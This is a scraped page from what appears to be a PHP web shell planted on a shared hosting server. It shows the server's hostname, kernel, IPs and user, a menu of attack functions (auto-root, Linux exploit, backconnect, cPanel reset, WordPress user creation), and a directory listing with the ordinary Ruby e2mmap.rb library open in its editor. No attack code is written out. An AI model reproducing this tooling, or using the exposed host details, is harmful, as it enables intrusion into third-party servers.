Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby24 /
lib64 /
ruby /
2.4.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
digest
[ DIR ]
drwxr-xr-x
drb
[ DIR ]
drwxr-xr-x
fiddle
[ DIR ]
drwxr-xr-x
forwardable
[ DIR ]
drwxr-xr-x
io
[ DIR ]
drwxr-xr-x
irb
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
matrix
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
openssl
[ DIR ]
drwxr-xr-x
optparse
[ DIR ]
drwxr-xr-x
psych
[ DIR ]
drwxr-xr-x
racc
[ DIR ]
drwxr-xr-x
rbconfig
[ DIR ]
drwxr-xr-x
rdoc
[ DIR ]
drwxr-xr-x
rexml
[ DIR ]
drwxr-xr-x
rinda
[ DIR ]
drwxr-xr-x
ripper
[ DIR ]
drwxr-xr-x
rss
[ DIR ]
drwxr-xr-x
rubygems
[ DIR ]
drwxr-xr-x
shell
[ DIR ]
drwxr-xr-x
syslog
[ DIR ]
drwxr-xr-x
unicode_normalize
[ DIR ]
drwxr-xr-x
uri
[ DIR ]
drwxr-xr-x
webrick
[ DIR ]
drwxr-xr-x
x86_64-linux
[ DIR ]
drwxr-xr-x
yaml
[ DIR ]
drwxr-xr-x
English.rb
6.45
KB
-rw-r--r--
abbrev.rb
3.49
KB
-rw-r--r--
base64.rb
3.31
KB
-rw-r--r--
benchmark.rb
17.9
KB
-rw-r--r--
cgi.rb
9.8
KB
-rw-r--r--
cmath.rb
9.48
KB
-rw-r--r--
csv.rb
83.53
KB
-rw-r--r--
date.rb
1004
B
-rw-r--r--
debug.rb
29.98
KB
-rw-r--r--
delegate.rb
10.31
KB
-rw-r--r--
digest.rb
2.83
KB
-rw-r--r--
drb.rb
50
B
-rw-r--r--
e2mmap.rb
3.94
KB
-rw-r--r--
erb.rb
27.25
KB
-rw-r--r--
expect.rb
2.17
KB
-rw-r--r--
fiddle.rb
1.68
KB
-rw-r--r--
fileutils.rb
44.06
KB
-rw-r--r--
find.rb
2.52
KB
-rw-r--r--
forwardable.rb
8.5
KB
-rw-r--r--
getoptlong.rb
15.41
KB
-rw-r--r--
ipaddr.rb
17.1
KB
-rw-r--r--
irb.rb
20.29
KB
-rw-r--r--
json.rb
1.77
KB
-rw-r--r--
kconv.rb
5.77
KB
-rw-r--r--
logger.rb
23.53
KB
-rw-r--r--
mathn.rb
3.42
KB
-rw-r--r--
matrix.rb
53.37
KB
-rw-r--r--
mkmf.rb
84.32
KB
-rw-r--r--
monitor.rb
7.02
KB
-rw-r--r--
mutex_m.rb
2.04
KB
-rw-r--r--
observer.rb
5.83
KB
-rw-r--r--
open-uri.rb
24.76
KB
-rw-r--r--
open3.rb
20.59
KB
-rw-r--r--
openssl.rb
445
B
-rw-r--r--
optionparser.rb
59
B
-rw-r--r--
optparse.rb
57.25
KB
-rw-r--r--
ostruct.rb
10.2
KB
-rw-r--r--
pathname.rb
16.08
KB
-rw-r--r--
pp.rb
14.43
KB
-rw-r--r--
prettyprint.rb
15.89
KB
-rw-r--r--
prime.rb
12.49
KB
-rw-r--r--
profile.rb
236
B
-rw-r--r--
profiler.rb
4.54
KB
-rw-r--r--
pstore.rb
14.71
KB
-rw-r--r--
psych.rb
15.25
KB
-rw-r--r--
rdoc.rb
5.07
KB
-rw-r--r--
resolv-replace.rb
1.76
KB
-rw-r--r--
resolv.rb
73.48
KB
-rw-r--r--
ripper.rb
2.56
KB
-rw-r--r--
rss.rb
2.87
KB
-rw-r--r--
rubygems.rb
35.38
KB
-rw-r--r--
scanf.rb
23.56
KB
-rw-r--r--
securerandom.rb
7.48
KB
-rw-r--r--
set.rb
20.74
KB
-rw-r--r--
shell.rb
11.37
KB
-rw-r--r--
shellwords.rb
6.66
KB
-rw-r--r--
singleton.rb
4.06
KB
-rw-r--r--
socket.rb
42.99
KB
-rw-r--r--
sync.rb
7.29
KB
-rw-r--r--
tempfile.rb
10.8
KB
-rw-r--r--
thwait.rb
3.35
KB
-rw-r--r--
time.rb
22.36
KB
-rw-r--r--
timeout.rb
3.83
KB
-rw-r--r--
tmpdir.rb
4.29
KB
-rw-r--r--
tracer.rb
6.44
KB
-rw-r--r--
tsort.rb
14.3
KB
-rw-r--r--
ubygems.rb
298
B
-rw-r--r--
un.rb
9.18
KB
-rw-r--r--
unicode_normalize.rb
3.2
KB
-rw-r--r--
uri.rb
3.1
KB
-rw-r--r--
weakref.rb
2.95
KB
-rw-r--r--
webrick.rb
6.72
KB
-rw-r--r--
yaml.rb
1.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : e2mmap.rb
# frozen_string_literal: false # #-- # e2mmap.rb - for Ruby 1.1 # $Release Version: 2.0$ # $Revision: 1.10 $ # by Keiju ISHITSUKA # #++ # # Helper module for easily defining exceptions with predefined messages. # # == Usage # # 1. # class Foo # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # # 2. # module Error # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # class Foo # include Error # ... # end # # foo = Foo.new # foo.Fail .... # # 3. # module Error # extend Exception2MessageMapper # def_e2message ExistingExceptionClass, "message..." # def_exception :NewExceptionClass, "message..."[, superclass] # ... # end # class Foo # extend Exception2MessageMapper # include Error # ... # end # # Foo.Fail NewExceptionClass, arg... # Foo.Fail ExistingExceptionClass, arg... # # module Exception2MessageMapper E2MM = Exception2MessageMapper # :nodoc: def E2MM.extend_object(cl) super cl.bind(self) unless cl < E2MM end def bind(cl) self.module_eval "#{<<-"begin;"}\n#{<<-"end;"}", __FILE__, __LINE__+1 begin; def Raise(err = nil, *rest) Exception2MessageMapper.Raise(self.class, err, *rest) end alias Fail Raise class << self undef included end def self.included(mod) mod.extend Exception2MessageMapper end end; end # Fail(err, *rest) # err: exception # rest: message arguments # def Raise(err = nil, *rest) E2MM.Raise(self, err, *rest) end alias Fail Raise alias fail Raise # def_e2message(c, m) # c: exception # m: message_form # define exception c with message m. # def def_e2message(c, m) E2MM.def_e2message(self, c, m) end # def_exception(n, m, s) # n: exception_name # m: message_form # s: superclass(default: StandardError) # define exception named ``c'' with message m. # def def_exception(n, m, s = StandardError) E2MM.def_exception(self, n, m, s) end # # Private definitions. # # {[class, exp] => message, ...} @MessageMap = {} # E2MM.def_e2message(k, e, m) # k: class to define exception under. # e: exception # m: message_form # define exception c with message m. # def E2MM.def_e2message(k, c, m) E2MM.instance_eval{@MessageMap[[k, c]] = m} c end # E2MM.def_exception(k, n, m, s) # k: class to define exception under. # n: exception_name # m: message_form # s: superclass(default: StandardError) # define exception named ``c'' with message m. # def E2MM.def_exception(k, n, m, s = StandardError) e = Class.new(s) E2MM.instance_eval{@MessageMap[[k, e]] = m} k.module_eval {remove_const(n)} if k.const_defined?(n, false) k.const_set(n, e) end # Fail(klass, err, *rest) # klass: class to define exception under. # err: exception # rest: message arguments # def E2MM.Raise(klass = E2MM, err = nil, *rest) if form = e2mm_message(klass, err) b = $@.nil? ? caller(1) : $@ b.shift if b[0] =~ /^#{Regexp.quote(__FILE__)}:/ raise err, sprintf(form, *rest), b else E2MM.Fail E2MM, ErrNotRegisteredException, err.inspect end end class << E2MM alias Fail Raise end def E2MM.e2mm_message(klass, exp) for c in klass.ancestors if mes = @MessageMap[[c,exp]] m = klass.instance_eval('"' + mes + '"') return m end end nil end class << self alias message e2mm_message end E2MM.def_exception(E2MM, :ErrNotRegisteredException, "not registered exception(%s)") end
Close